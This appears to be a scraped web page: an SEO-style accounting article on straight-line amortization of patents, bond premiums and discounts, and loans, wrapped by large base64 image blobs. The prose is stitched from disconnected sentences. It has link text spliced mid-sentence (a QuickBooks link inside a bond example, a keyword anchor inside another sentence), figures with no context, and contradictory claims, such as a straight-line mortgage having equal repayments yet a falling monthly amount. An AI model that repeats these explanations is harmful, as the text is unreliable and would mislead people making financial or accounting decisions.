EsyXi3xN8avmESo4brkzy1EUI9EpgzAQzAR5q9\/gGIvjVbnmBf2ytHekVVuAVJSpvgGIvjVbnmBf2ynAMRfGq3PMC\/tlVUqkqUwz+Djz6wT34q6rz8AxF8arc8wL+2VL4bscQRt52KVz28UvZ+czA0EuYc+yjrMf52GwRzEA7wbMx56ItMrDd01NXPEuLKTjrui7Yg137wZOTlmzhZgVUjUxmyLgEHDc+k5tYFAVSlFQEw7sdJDadwDEXxqtzzAv7ZXMuSZuCzYZxcd34l2TBxLTTwh\/JRZ2zdHUYCl1qKPgKXMwgAZjtEQCoOCkLPbgxOgZ7CGLcXStC2ZcZ41oZ1GXFPO41vDvnLEVCoLrJgUyhyFNmCZhIcdIjmQwbM5YX7ivG37BmemCQXVYWq1i7YmG7oks9buUCFeP0zkXBIp2yx11XO+IKCJEAIYyICQ47jKXIxsSBG95rFXDG3oWbWScjLuo4GjV8sokUE1N\/M+KRUxk0y6TZiIlIGWwAr3pe7H0BKxEDO4uYfxsncBxTiWTtiKK8gYMsyt0zPgMqPdF2EAfzg+OrFsvJ3kc4xtz3xx6oqDDBOEHuv1b\/AG7843OM2pMSNubzOy0jKpWSmF9EXeLrJNZ3fURKmqQ4iRF1qGQ1plApgKCYGKBQSr6HqCgLnk7reSkda2K9hTDuDccElEI+PM4UYr5iG9LlI+EUj5lN3Jsh7kfirs8AxF8arc8wL+2U2R4uSei9uEKZkk+LWXNxv\/oWv\/6ryv8ApFKtqynGljiAXBy\/DOLmt46QWzKCcpIJcpjF4KpmACLschy7+Q\/9Bqy4BiL41W55gX9sqEVJSpvgGIvjVbnmBf2ynAMRfGq3PMC\/tlEVJSpvgGIvjVbnmBf2ynAMRfGq3PMC\/tlEVJSpvgGIvjVbnmBf2ynAMRfGq3PMC\/tlEXp4VfBh79ZLh\/GHdWFZdhexxAG2noo3PbxS8YrgAQNBLmHV2Wd6hz4WGwRzEA7wbMx5xreAYi+NVueYF\/bKIqSlTfAMRfGq3PMC\/tlOAYi+NVueYF\/bKIqSlTfAMRfGq3PMC\/tlOAYi+NVueYF\/bKIqSpu0f0ndX99\/7RtTgGIvjVbnmBf2yp61GOIQyV0aLnt4BCZ7rOBXHMeCN9ofwzYGWWzbRFotKm+AYi+NVueYF\/bKcAxF8arc8wL+2URUlKm+AYi+NVueYF\/bKcAxF8arc8wL+2URUlRV\/fCvDb6zr\/gslXR4BiL41W55gX9sqYudtdaN54cmnZqJeNxuRwBSNIxRscD9hpLIRMZwoAhlns0hzht2ZCRaXSlKIsbuyPby1uP45zCElyLoiXgZyJnBU39XYqIE2DkO0e98dZGNoYqx8PCPLfYPGcuwsdKGaJ78yORnJpiXMVtZjAKR9JMxSEwiVPaGemtYnnMDbMS4nJp+7bs2pQMocHLg47RAAApSiJjGERAAKUBEREAABEa5ju6rTZwbK5FHMwpGyCCDhu4RI8UAxFhKCWwuYgYwnKAFEM9obK5LZGHDsIHaVgY28e0HuCvba1BNMtYgJsz5iHNnvZqvqyhCz4m4XrWNfu5tJEyhjCZjOPWSuYENlkqgqQ4B8YAbIe\/XY5ELM8NX\/wDvCn\/bKxfitWYK\/pUByIWZ4av\/APeFP+2U5ELM8NX\/APvCn\/bKorK\/rN8b7Uuq6Y+1TWvwxQsNdDKUkWzNVAi7hqmRUuROEfkhMRU6K2RxD+RzL3QFr2eRCzPDV\/8A7wp\/2yvSlcJbFh2wOnEjiWuUTATS0ve43B8xz26U3Yjls58sqgjA7iD0GVIMSN4I6RC7+FiV9o2U1JiQsZWc4S8EwqbzvoNRcqi1BXePyQqg33kDin3OsDZZhtqtrKbSw6wyvi24+7bcuHEReMlEQcNFVb6uNAyiY8xtCjspgAecMw2gICGwQrr8iFmeGr\/\/AHhT\/tlWdM3VRe4V\/SoDkQszw1f\/AO8Kf9spyIWZ4av\/APeFP+2VClX9SmGfwcefWCe\/FXVcvkQszw1f\/wC8Kf8AbKmMOsF7PcW+7UUmL7AQnZtP8nfs6QMiybkobCvADPIAzHnEcxERERGiLZqyvGS1Lvm7nsaftttKOmkE6kFHaUYqzI5SUVaHTQXKDsQSHSYTEHIdQb7szDVXV5ELM8NX\/wDvCn\/bK41x4fYX2qZgjL3FiLwiVcC1ZNm983G4XcKAQyhgImm7MYQKQhjCOWQAG0QoUXoMX2IF2YdNrTuJtc6d6QjRmxn5eCZxZUzyKjAijjg4vvySiWawFMZMod1mUBDScAiYLDjHy2pJNaBQUjXT9C0Ghjt12asayYNUk0pJocFjGdCJSg5MlvZjAJ1iDrz3wa0eZw2w9go1KUePsVFUlg1ARpd1zuVShoE46k0nJjF2APOAbcg5xAK58bbGD00\/bR0LdOI0go5ZNZADNr2uVRNJu4KJkDqqA60p6ylEwAYQHLaIAAhUGHOcTtiR025sfZPFAYaI3fC\/PgvWwOsS77cWstK47PPDKWnYadtyDw7lsoEk8FRuOaYInMYSEFuscDKAQR4VsDPXlt9YpaUDgxfDtNlbl14kLncMCyjU6t53Mgk7ZmPoBdBRRyUqxM9OYkEcgOmI5AcgjWciFmeGr\/8A3hT\/ALZU7OnrJJ6yVJxM8Owdy9nG\/wDoWv8A+q8r\/pFKtqw\/GXBm0GeEF8u0Zi+jHQtuTUKCt+TipBErVQQAxDuxKYNm0pgEBDYICFWPIhZnhq\/\/AN4U\/wC2UUK\/pUByIWZ4av8A\/eFP+2U5ELM8NX\/+8Kf9soiv6VAciFmeGr\/\/AHhT\/tlORCzPDV\/\/ALwp\/wBsoiv6VAciFmeGr\/8A3hT\/ALZTkQszw1f\/AO8Kf9soi9\/Cr4MPfrJcP4w7qwrFMMsGLPc248UUmL7AQuGeTAE79nUwyLKuihsK8ABHIAzHnMOYiIiIiNZyIWZ4av8A\/eFP+2URX9KgORCzPDV\/\/vCn\/bKciFmeGr\/\/AHhT\/tlEV\/SoDkQszw1f\/wC8Kf8AbKciFmeGr\/8A3hT\/ALZRFf1N2j+k7q\/vv\/aNq4nIhZnhq\/8A94U\/7ZU9auC1nqyNzlNM34AJTGgum\/p0oiHBW47RB53Q7eccxyyDmAKItgpUByIWZ4av\/wDeFP8AtlORCzPDV\/8A7wp\/2yiK\/pUByIWZ4av\/APeFP+2U5ELM8NX\/APvCn\/bKIr+oq\/vhXht9Z1\/wWSr1eRCzPDV\/\/vCn\/bK4Uth1b9oX1h1JRUhc66ytwuUDFlLpk5JICjDyJswSdOFCFNmUO7AoGAMwAchEBItcpSlEWQXESWVg3iME0aOXyqQppJu3Jm6Q6tgiZQqaghkAiOwg5iABszzCQgrHuQbdsSBuJRggjbBEjv0WbpRYjtZskCbbITJkESaslhAQASnTTANQZmqpnjIQ8M8lGluBJLNUjKEaoAkQ6oh3gMoJSh8YiI8wDzjsGAmsWmEVHWzJJ2U3VLcEYhKb0o4KmocFBSDgzUN7HhTn8rmCX5PMAAdQZ7OS2TYbx03jvWDoBBO49Fp7ltFufpxn\/aP\/AJZqvKzCPti2puSasJm3ox+2McxhRdNE1UxECGyHSYBDMKo+SXCroztTzK29CsX4rVuCrKVJ8kuFXRnanmVt6FOSXCroztTzK29CqKyrKmsSIG4bqseYti1pw0NIS7fgJZIhxKqzSVMBFlkhAB\/LESMoZPMMtYEzEAzEPByS4VdGdqeZW3oVHYrQ2FuGlrFuFPCCy3ZlnrdiU71m2ZMWwqn0gs7c7ypvCIcwn0H7oxAy25hVxAHKw+KlszIWpxUYwhIxnDRbYjZkwQTatkSBkVNIhQKQofQAAAf4V7VZfhva2FmINjQ95HwbtqLGVb78LZWIbHAvdCXUQ+9hviRstaamkutMxDaS55BSckuFXRnanmVt6FaOBBOtiqtiBGCrKVJ8kuFXRnanmVt6FOSXCroztTzK29CqqVWVKYZ\/Bx59YJ78VdV\/nJLhV0Z2p5lbehUvhxhVhevbzs62G9rKGCenCAJoduIgUso5AobScwAAAHxAAURapWT47YQr4mrW1Ktbete4j2+u73yFuUTlYPEnCO9iYxipKiVRMxU1C5pmAdIh3IiU5azklwq6M7U8ytvQqExTQwfw5LEME8L8PlZefXVRYElk2kYyKVFMVFVF3IoqCmUpQyDSmcwmMUNIBqMWCpC8BrExU5NEcMHkUxuxtCNmUML2buh7ELTqJGRSrulVmZXCmkypjE3lQBE4AYTjsKY8utuVZwbujpcJKCWWELfWeXQCZm8yyPHJJpOG7NNMmgEHqSIJqBvpAKRVUBIsAlKFZfUfhvaeH7G9mGF2EjnhKSayiki\/asIwCGRFQRSei1OKueWRMkg1gOodAVwkLnwXkrqj7cjsK8OGH8Hj15YtwHaxr1sd4iCyTdu14OoZyuBBATEEyRQExQKYw6gJLjL3a2Miee\/78PZZQ2Q0auEGOa37KrwdwwvezFYFrdrqE4BZNtBakJ2NWWVUfIakNbtzviZAROYrRAARIKgFEVB30+oADXKwjDBbDu\/3seWSwDtGIYXJCBcluOk2zZ0LyP1plHfybwTg64Au2MKZRVLkrsUESiFaXyS4VdGdqeZW3oVJnt6ZM+2ZlNvjxgvVxv8A6Fr\/APqvK\/6RSrashxowswxa4O325bYcWuisjbUoomonDtymIYGqggICBMwEB79WXJLhV0Z2p5lbehUIqylSfJLhV0Z2p5lbehTklwq6M7U8ytvQoirKVJ8kuFXRnanmVt6FOSXCroztTzK29CiKspUnyS4VdGdqeZW3oU5JcKujO1PMrb0KIvHhV8GHv1kuH8Yd1YVk2GGFeGC9tPDr4cWuoYLinyAJ4duIgUss7KUNpOYAAAAO8AAFVvJLhV0Z2p5lbehRFWUqT5JcKujO1PMrb0KckuFXRnanmVt6FEVZSpPklwq6M7U8ytvQpyS4VdGdqeZW3oURVlTdo\/pO6v77\/wBo2r1+SXCroztTzK29Cp61MKcLlJG6CqYb2sYE5nSQBh246Q4I3HIO42BmIj\/jRFptKk+SXCroztTzK29CnJLhV0Z2p5lbehRFWUqT5JcKujO1PMrb0KckuFXRnanmVt6FEVZUVf3wrw2+s6\/4LJV7PJLhV0Z2p5lbehU3cVj2VbN64cv7bs+EinKlxuETrMY9FBQyYw0iIlExCgIhmUo5c2YB8VEWoUpSiLHpNVKRj12JFnzYVyCmKqbM4mKA8+QGIIc3xhUE+whtiShEIJ5LTiiCcCS3DnMyIJzNCGAxRKIojvamwvdk05iUg85CiF7c7ibaQL1zbpGJpBJITI8NE+8ly\/OMYCd0bIuYgUBDUIAGoueoMvuHGC8ISzGt5DDNeDltJvcKuTBwqm7cmADKtk1CGyQyLlkJ9ee+AOQgQ2fKYCTbh2HulYmJHjaO+FrjO6IuBetHz1tMKpEOYmlpDvHioiJDAH5NFI5x+kctnfrvcsFp+CL36jTfsleG2x1TbMcssxOP\/wCM1XtYPxV2YWURywWn4IvfqNN+yU5YLT8EXv1Gm\/ZKt6VRXURywWn4IvfqNN+yVM31cti32jDFdpYhsloKVRmWijexZcwC4SKcpN8TUZGIcob4JgAQzKcpDlEDFAQ12orFG6bqtZnBKWvFlXLIzKTGReHYrPSRrQySphcGQRMU5wFQiSWwwAUVgObMCiAwcRzjpm3WpE35j0RfqUzh3cuHeGlptbOgo6\/lGbVZyuQVrFmAEDLrnWOBSpsikIQDqGApClApSgUoBkFUnLBafgi9+o037JX+YLX7IYl4dR92yzJJq8VcvmS5UkjpJnO1eLNhVKmoInTKfedYEMIiUDZCIiGY3FWdIJlVCiOWC0\/BF79Rpv2SnLBafgi9+o037JVvSoUqI5YLT8EXv1Gm\/ZKl8OcWrVQt92Q8VeYiM9Nn7iypk4ZGk3Jg2laiGeQ7Q5wHMByEBCtfqUwz+Djz6wT34q6oi9PlgtPwRe\/Uab9kqUvO4LIvCTg5wimI8TJ2+o4O0dM7FljCJF0TJKpnKqxOUxRASm5gEDELtyzAdirM8YMTLmsiVtW3bQtpaYkbjXeCYqSBFzpt2yAqKCVNRw3IYwiJA7pUoAGrIDG0lEbhAo60H0ZaNulsmKnr\/ZW3EN2kXAskcO5NUyEegzTR0LnWYGFVQyhVDiOwMhKXLYOfJSsfBlBFrGop4nFiEjQCriNGypUUna0OKfA1DmFhrAfyCGsCGKUwIlDIAE2rTJfEs7\/CmIxKsWSPINpdii\/ZqNrVeyZ3hFUBOmBGiKhFEdQ6dqhgKX80wlEdQQDHdNyR55AJiITa260Rt9tJSzNoD5sMjKIpnSSKoVyU5UznXQSIcqKxQMfUoYhcho4w9xdiCJ579+zeRbBACWjV3Hni3j2Lp4fnw+w+WjTM3WJ0ihBwidvRDZ5ZErvbFkUxREpd7YlExzAmgUxjiYRBEmWQ6hNecsFp+CL36jTfslTeEeJ153ke0XdzEhAa3tZ4XS1QYtVklWBgO21IqHOqcFgErxIAMBU9qRxyEDABNbqYgdPTJnrnnxQ4+N3wWL4zYs2s7wfvpqlFXkU61tSaZRUsuZTIAi1UANRzNQKUPjERAA5xEKseWC0\/BF79Rpv2Sv8Acb\/6Fr\/+q8r\/AKRSraoRRHLBafgi9+o037JTlgtPwRe\/Uab9kq3pRFEcsFp+CL36jTfslOWC0\/BF79Rpv2SrelEURywWn4IvfqNN+yU5YLT8EXv1Gm\/ZKt6URY5hji1aze23iakVeYiNwz5+4sqZOGRpZ0YNpWohnkIZhzgOYCACAhVZywWn4IvfqNN+yV58Kvgw9+slw\/jDurCiKI5YLT8EXv1Gm\/ZKcsFp+CL36jTfslW9KIojlgtPwRe\/Uab9kpywWn4IvfqNN+yVb0oiiOWC0\/BF79Rpv2Sp61cW7VTkbnMaKvQQUmdYabJmTCAcFbhtya7B2cw5DzD3wrWKm7R\/Sd1f33\/tG1EXM5YLT8EXv1Gm\/ZKcsFp+CL36jTfslW9KIojlgtPwRe\/Uab9kpywWn4IvfqNN+yVb0oiiOWC0\/BF79Rpv2Sp+bvyDui+MOo+MY3EiqncThYTSNtyMemJQh5EMgUcoJkE2Zg7kB1CGY5ZAIhq9RV\/fCvDb6zr\/AILJURWtKUoixqcYI3DFOIaRjpUrZyUCqC0fC1VyzAcgVRVKoXm25GDMMwHYIhXBZ4cWsxZxEcjDXAdlBkBNm0XnnSyGkDaigokdyJFgKOWnfQNpApQLkBQAOvfL+EjLYdvbik3bFgno3w7RwdFdQwnACJJmTED6jmEpAAggYRMABz1jE9O3dEWy7SlbqkmktCWYMvDJkfgqdxIissBElRJsenT0NUjFHUU5lDCIGEwDW4N7eIBPxjuWerI8bSB\/2voFnNSUbINXTO0ZaVVA5gBszVaFUEBIbaArLpkyD+1n8Wdd7j7dXQnenlcN7fXp2oZU8rHnXKBVDAYTgHeNvRswrQKzqCHQpYZEqL4+3V0J3p5XDe304+3V0J3p5XDe31aUqiuovj7dXQnenlcN7fXFu5\/K3tEDCTOD2JrduKhVdcRczKKcai55Bv7OUSV07dpdWQ98BrTqy+6pSUisbYEjS7XaiT215jRb5l0iNjuUlWYpK6QKBzKG3wxQExhAAz0gGZhHOq9tNpc4WVmNLjAXRiLml4CLawsLgLdzJiySKi3bouIUpEyFDIAAOH17fH26uhO9PK4b2+oDAOcdP5hiRpeMjcLaWsuMnpcXkkd5weTXOfuiahEEAVDfPyJAKmXeC6SF257nWzgRc8eokd3RdZtINhsjrAPf0qL4+3V0J3p5XDe304+3V0J3p5XDe31aUqqsovj7dXQnenlcN7fUvhzfNzpW+7KTBq8FQGenDaiOocAARk3IiXunwDmAjkPezAchEMhHXKlMM\/g48+sE9+KuqIvW4+3V0J3p5XDe31N3wgTEVk0ZXVgNfygMF+EtHDKbjmDpuoJDEMKbhtJpqkAxDmIYAMAGKYSmAQEQrWKx3dAXJOxsrZdtMnibOKnnb4JBVSdWhQWFu1Msk34aiQ6qOoSnP+T0mMCIhq06gGDEXUhcx3ZTF80cxyuDWKjRmqs3O1bw90MYYrBFBsVum2bjHyaBiIAQBEUxEQExsxzApAL7alp22pcEZcva1Xem6h0GzdqilKRibPS2z4KKjQskDdY6OeaR1EzGSHISCUQCv5fXZF4lYNW+\/h5FaHk3sO0kyQzu9V4d8gKrPfE03DtIDLiYAMBu62Hy1GzAMhzePxkupxPREzcDaSmEmyFntotmlPLxTt0pKpJgd8ePQAUnhd+OffCqKimmRsroDMDieTyahbtBHPNx0268cVUcpgI2g9Fuq\/VgtSsqFjMPHr2QtLc9Xy1XfEKkYVpmOdAggUxjEbtyrSZwbNyiYwlQRAiRc9hQqu4+3V0J3p5XDe31mO54uaRmJG2HKt6yUw+uOxkZ+6WDt+dySOlDqpb2YhDCPBAOKj1PeSaSZNQyIAlMI\/QVNgjj1EjokW4KTYmfE3WNYz3xc6+D19Iq4OXg3IpbUmUyyjqIEiYC1UATG0vhNkHOOQCPxANWPH26uhO9PK4b2+v5xv8A6Fr\/APqvK\/6RSraiKL4+3V0J3p5XDe304+3V0J3p5XDe31aUoii+Pt1dCd6eVw3t9OPt1dCd6eVw3t9WlKIovj7dXQnenlcN7fTj7dXQnenlcN7fVpSiLH8Mb5udK23hSYN3gsA3DPm1EdQ4AAjLOhEvdPgHMBESj3swHIRDIRrOPt1dCd6eVw3t9eTCr4MPfrJcP4w7qwoii+Pt1dCd6eVw3t9OPt1dCd6eVw3t9WlKIovj7dXQnenlcN7fTj7dXQnenlcN7fVpSiKL4+3V0J3p5XDe31PWrfV0EkbnEuDN4nE8zqECuofuB4K3DIc3wbdmezMNobecK1Wpu0f0ndX99\/7RtRFz+Pt1dCd6eVw3t9OPt1dCd6eVw3t9WlKIovj7dXQnenlcN7fTj7dXQnenlcN7fVpSiKL4+3V0J3p5XDe31PTtzTU1e+HTWSw8uCBSLcThQHMgvHnTOYIeRDQAN3Kp9QgIjtKBcijtzyAdVqKv74V4bfWdf8FkqIrWlKURZMs1dOExScKNFSDzlO2EwD\/gJ6\/gI9QpUylBgAIjqTAGmwg\/GHdbP8K5OIsoxhrPfyD+1XNxppFLojG8ed6ZdQTABM0iEObSBshEwFHSACOQ5ZVlT1pAwVt4ZOQhrnkF4mT38hmlrywEapaj7+PBASEW5QMYpUwUKB972EES6s9puAN4HSe7FZwIJ4HqW7sW9zrSLUkJLxbR1rNkq6jVHCYBoNmGgq6YiP06v21Q9jMW\/He0eqzn3hXo25tnGY\/Sf\/LNV7VH4qzcFIdjMW\/He0eqzn3hTsZi3472j1Wc+8Kr6VRWUh2Mxb8d7R6rOfeFeupbeJaror1W6LIO4JlpWNaLgTly5sjdkMwq3rGrkdW5F7pq15ALaulaTc2\/IRjmTQt2UdsEQVWaGbpC7IiZqgA70uY3dlABKAqZCJM6kxEKQJlWLeAxQaa+CXbZaO+m1n3u03BdRvjHKQ2j9NeXsZi3472j1Wc+8KhdzktbzWQxFhrbtu6ollxmB+2NOW\/KMOFJqMGiRlirP0iGcGFZBfUYDHNmAGNsOUTbTVyIjmHWFRpmZ3nt8FSHYzFvx3tHqs594U7GYt+O9o9VnPvCq+lQrKQ7GYt+O9o9VnPvCpfDiNxVG3nYoXnahC9npwBA9suTDq7KOdQ5g\/DYI5iAd4BAMxyzHV6lMM\/g48+sE9+KuqIvH2Mxb8d7R6rOfeFeJzA4ovE95d3dZi6eYDoUtNwYMw5hyGQq0rD90xESkivZjldKeVthm+eGlyQ0D2bWBYzUxWhzst5X31MFBMAiKRwIJimHRkChIJhSLqrQsC9mziSdpzljCtMOivXxz2k5OK65UiIlObVIDtBNMhA7wAUMq6JoHFEy5HRrtssVkiiUig2m41FAecAHshmAVk90XSe4cGY63b2tuPb3VFN49lPtWeHju7WUVJKsAUURQaMxOJDEKoAAcROmQDFKbUBy6o9C3sWIq\/oVwW1pRWcM1tVvCtJGHLJxzGOIimnK79J7zk1coCLlUuSqRlTgnkRYDAQsmzi0bCBz4+OZQLgHhPYvohCBxQamUM2u2y0jLG1qCS03BROb4xykNo\/TXl7GYt+O9o9VnPvCsk3NcAvHyEACdjS8FIwdnFh7zfP4dZh2UmwUQEDAoqUvDxIZN6YXJBUTHhPcqGE5q+iqnZ09pHQcRwKbSFj+M8bioXB6+zOrytRRELalBUInbLkhjF4KpmAGF+IFHLmHIcviHmqx7GYt+O9o9VnPvCvBjf8A0LX\/APVeV\/0ilW1QikOxmLfjvaPVZz7wp2Mxb8d7R6rOfeFV9KIpDsZi3472j1Wc+8KdjMW\/He0eqzn3hVfSiKQ7GYt+O9o9VnPvCnYzFvx3tHqs594VX0oiyTDCNxUNbbwW952oQvGKfAQPbLkw6uyzvUOYPw2CbMQDvAIBmOWY1nYzFvx3tHqs594V\/mFXwYe\/WS4fxh3VhRFIdjMW\/He0eqzn3hTsZi3472j1Wc+8Kr6URSHYzFvx3tHqs594U7GYt+O9o9VnPvCq+lEUh2Mxb8d7R6rOfeFT1qRuKwyN0b3elplEJnI4mthyOZuCN9ofw8Mgyy2be\/t7wahU3aP6Tur++\/8AaNqIvU7GYt+O9o9VnPvCnYzFvx3tHqs594VX0oikOxmLfjvaPVZz7wp2Mxb8d7R6rOfeFV9KIpDsZi3472j1Wc+8KnLhZ3y3vbDk9zXFBP2o3G4AibCFWaKAp2HkcjCc7pUBLlqDTpAcxAc9mQ6lUVf3wrw2+s6\/4LJURWtKUoizGlKVyFkulbn6cZ\/2j\/5ZqvKUrJ+Ku3BKUpVFZKUpREpSlESlKURKlMM\/g48+sE9+KuqUoiq6UpREpSlESlKURRON\/wDQtf8A9V5X\/SKVbUpREpSlESlKURKUpRFH4VfBh79ZLh\/GHdWFKURKUpREpSlESpu0f0ndX99\/7RtSlEVJSlKIlKUoiVFX98K8NvrOv+CyVKURWtKUoi\/\/2Q==\" width=\"259px\" alt=\"straight line amortization formula\"\/><\/p>\n<p>To use this method, you need to know the cost of the asset and its useful life. Say your company purchased a patent for $10,000, and its useful life is 10 years. To calculate depreciation of that patent, an intangible asset, you use the straight-line amortization method. Simply divide the cost of the patent by the number of years that the patent will be useful. In this example, the amount is $10,000 divided by 10 to get a cost of $1,000 per year that you apply to your accounting documents. This amount is applied as an expense each year rather than entered as a one-time expense because it provides a long-term benefit for the company.<\/p>\n<h2 id=\"toc-1\">Example Of Amortization Formula<\/h2>\n<p>As a general rule, never commit to a mortgage without fully understanding how your loan balance will be repaid. If a corporation issues only annual financial statements and its accounting year ends on December 31, the amortization of <a href=\"https:\/\/en.wikipedia.org\/wiki\/QuickBooks\">QuickBooks<\/a> the bond premium can be recorded once each year. In the case of the 9% $100,000 bond issued for $104,100 and maturing in 5 years, the annual straight-line amortization of the bond premium will be $820 ($4,100 divided by 5 years).<\/p>\n<p>When you engage in long-term financial borrowing, you will be contractually required to repay both the principal balance and the interest accrued on the debt using one of several repayment schedules. The straight-line method of amortization is designed to provide borrowers with a fixed, recurring monthly payment that remains fixed throughout the duration of the loan. Using the straight-line method of amortization, you can make responsible decisions regarding your mortgage and ensure that you are capable of meeting the requirements outlined by your lender. To illustrate the premium on bonds payable, let&#8217;s assume that in early December 2019, a corporation has prepared a $100,000 bond with a stated interest rate of 9% per annum (9% per year). The bond is dated as of January 1, 2020 and has a maturity date of December 31, 2024. The bond&#8217;s interest payment dates are June 30 and December 31 of each year.<\/p>\n<p>In order to spread the total cost according to the agreement evenly over the life of the terms, we amortize. Amortization is the process of incrementally charging the cost of an asset to expense over its expected period of use, which shifts the asset from the balance sheet to the income statement. Examples of intangible assets are patents, copyrights, taxi licenses, and trademarks. Straight line amortization is always the easiest way to account for discounts or premiums on bonds. Under the straight line method, the premium or discount on the bond is amortized in equal amounts over the life of the bond. In short, the effective interest rate method is more logical than the straight-line method of amortizing bond premium. The effective interest rate is multiplied times the bond&#8217;s book value at the start of the accounting period to arrive at each period&#8217;s interest expense.<\/p>\n<p>You need to use these two standards to apply for depreciation and amortization. One thing is easy to fill in, which is the \u201cPayment\u201d column, since the payment will not change.<\/p>\n<p>However, what do you do if you have a Canadian mortage and the compounding period is semi-annual, but you are making monthly payments? In that case, you can use the following formula, derived from the compound interest formula. Basic amortization schedules do not account for extra payments, but this doesn&#8217;t mean that borrowers can&#8217;t pay extra towards their loans. Generally, amortization schedules only work for fixed rate loans and not adjustable rate mortgages, variable rate loans, or lines of credit. When a borrower takes out a mortgage, car loan, or personal loan, they usually make monthly payments to the lender; these are some of the most common uses of amortization. A part of the payment covers the interest due on the loan, and the remainder of the payment goes toward reducing the principal amount owed.<\/p>\n<p>Because interest rates fluctuate, the interest a corporation expects to pay on a bond is sometimes higher or lower than the interest it actually pays to investors. The concept is the assets are more productive in the first years and subsequently less productive. By using the same example, but the basic of depreciation is based on the net book value of assets. The following are the list of depreciation methods that normally use and also allow by standard IAS 16, IFRS. Based on IAS 16, the depreciation method used shall reflect the pattern in which the asset\u2019s future economic benefits are expected to be consumed by the entity.<\/p>\n<h2 id=\"toc-2\">A Note About Amortization In The Uk<\/h2>\n<p>A straight-line mortgage means the repayments of the loan are equally distributed. This means the total monthly amount decreases as the principal balance decreases with every payment. Each year, we add the amortization to the carrying value and repeat these steps to find the next year&#8217;s interest expense and discount amortization. Under the effective interest method, a company&#8217;s interest expense and amortization amount will change every single year. Suppose the company issued $100,000 of 10-year bonds that pay an 8% annual coupon.<\/p>\n<ul>\n<li>Reducing the bond premium in a logical and systematic manner is referred to as amortization.<\/li>\n<li>Learn accounting fundamentals and how to read financial statements with CFI\u2019s free online accounting classes.<\/li>\n<li>You could add other columns, like cumulative principal payments made, and cumulative interest paid, but this is up to you.<\/li>\n<li>When the number of compounding periods matches the number of payment periods, the rate per period is easy to calculate.<\/li>\n<li>This is a significant amount of money to allocate toward interest payments, above what you&#8217;d pay by using the straight-line amortization method.<\/li>\n<li>ASC 842 and IFRS 16 define the incremental borrowing rate similarily as the rate a bank would charge for obtaining a collateralized loan with like terms and dollar value to your lease.<\/li>\n<\/ul>\n<p>For the year of purchase and the year of sale or maturity, you have to account for a partial year, multiplying the monthly amount by the number of months during the year that you actually owned the bond. In U.S., business startup costs, defined as costs incurred to investigate the potential of creating or acquiring an active business and to create an active business, can only be amortized under certain conditions. They must be expenses that are deducted as business expenses if incurred by an existing active business, and must be incurred before the active business begins. Examples of these costs include consulting fees, financial analysis of potential acquisitions, advertising expenditures, and payments to employees, all of which must be incurred before the business is deemed active. According to IRS guidelines, initial startup costs must be amortized.<\/p>\n<p>For instance, if a company needs $100,000 in loans, it might issue one hundred $1,000 bonds. It leads to the movement of the same amount systematically in every accounting period from the balance sheet account of the company to the income statement account. Under this method, the cost of intangible assets such as patents, goodwill or intellectual property, etc. is charged over the useful life of that intangible asset in equal yearly amounts. The bond discount of $3,000 is amortized over the life of the bond and is recorded as an interest expense. The amortization will make the bond&#8217;s book value increase from $97,000 in year one to $100,000 just as it matures. The straight-line method is easier, but the effective interest rate method is more accurate. As an investor, it is crucial to understand how amortized bonds work because the interest paid back counts as income for you.<\/p>\n<p>Being able to calculate depreciation is crucial for writing off the cost of expensive purchases, and for doing your taxes properly. Amortization schedule helps one to know when he has to pay EMI against his loan and what is the EMI which he needs to pay, how much interest he has to pay on his loan, what is the principal outstanding of the loan. To calculate the amount of payment in a period below formula is used. For calculation of interest paid during a specific period, we will use below formula. A couple took an auto loan from a bank of $10,000 at the rate of interest of 10% for the period of 2 years. Thus every year, $10,000 will be charged in the income statement of the company for the next 7 years. Thus every year, $5,000 will be charged in the income statement of the company for the next 6 years.<\/p>\n<p>That being said, I\u2019m going to show how to do it by hand because, in order to build out a schedule, we must first understand how to calculate all the parts. The double declining balance depreciation method is an accelerated depreciation method that multiplies an asset&#8217;s value by a depreciation rate. In liability balance for period 0, enter the cell for the above cell\u2019s liability balance minus the liability reduction in period 0. What you will end up with is the previous liability balance, reduced by the current liability reduction . The constant yield amount is calculated by multiplying the adjusted basis by the yield at issuance and then subtracting the coupon interest. This method is also known as the effective or scientific method of amortization.<\/p>\n<p>The table below shows how this example bond would be accounted for over the full 10-year period. Note that the only static figure is the amount of cash interest &#8212; interest expense and amortization are different in every single year. Over time, the carrying amount of the bonds is slowly reduced to $100,000 due to the amortization of the premium each year.<\/p>\n<p>The schedule in this article was designed for a fixed payment amount with fixed interest, and fixed payment periods. You can change the formula of any cell to account for new information. On that line, change the formula accordingly and then copy to the rest of the schedule. An <a href=\"https:\/\/online-accounting.net\/what-s-the-difference-between-amortization-and\/\">straight line amortization formula<\/a> amortization schedule shows the interest applied to a fixed interest loan and how the principal is reduced by payments. It also shows the detailed schedule of all payments so you can see how much is going toward principal and how much is being paid toward interest charges.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"data:image\/jpeg;base64,\/9j\/4AAQSkZJRgABAQAAAQABAAD\/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD\/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD\/wAARCADLAWoDASIAAhEBAxEB\/8QAHAAAAQUBAQEAAAAAAAAAAAAABgACAwUHBAEI\/8QAWhAAAgEDAgMDBQoLBQMJBgcBAQIDBAURABIGEyEHIjEUQVFh0RUjMkJSU5GSk9IIFhdDVFVWYnGV0yQzgZSiY6HhGCU0REVyc6OzNoOXpNTwJjVldHWCweP\/xAAbAQEBAAMBAQEAAAAAAAAAAAAAAQIDBAUGB\/\/EADkRAAICAQIEBAQDBgUFAAAAAAABAhEDBCEFEjFBBhNRYQcUInGBkfAVIzKhweFCkrHT8TNSU1TR\/9oADAMBAAIRAxEAPwD7dpK\/hyk4co6uphpKioFLEXRVR5XcoM58+c+JOurh+utFVbo6msjt9NNKCzRYRNveOBg+oDU4as5FhkpXqhFEyGrjjRdskRgZe8WGcByjd0g93zjoeHjug7dq2osNT2L3610FLRSVtRd6e4wIyV7chRSwsWUuicwszmMoxAChl3blAXF90nt9lkqeELbarncgy8uCWeJEZQcsCxZcZAKgjOCwOCARq651gA70tvBPXG9Omhu5x\/hhyQW1qSXs5EiI01bFClVHmZE7sSyO75jkkAJOwMqkjxGWivVN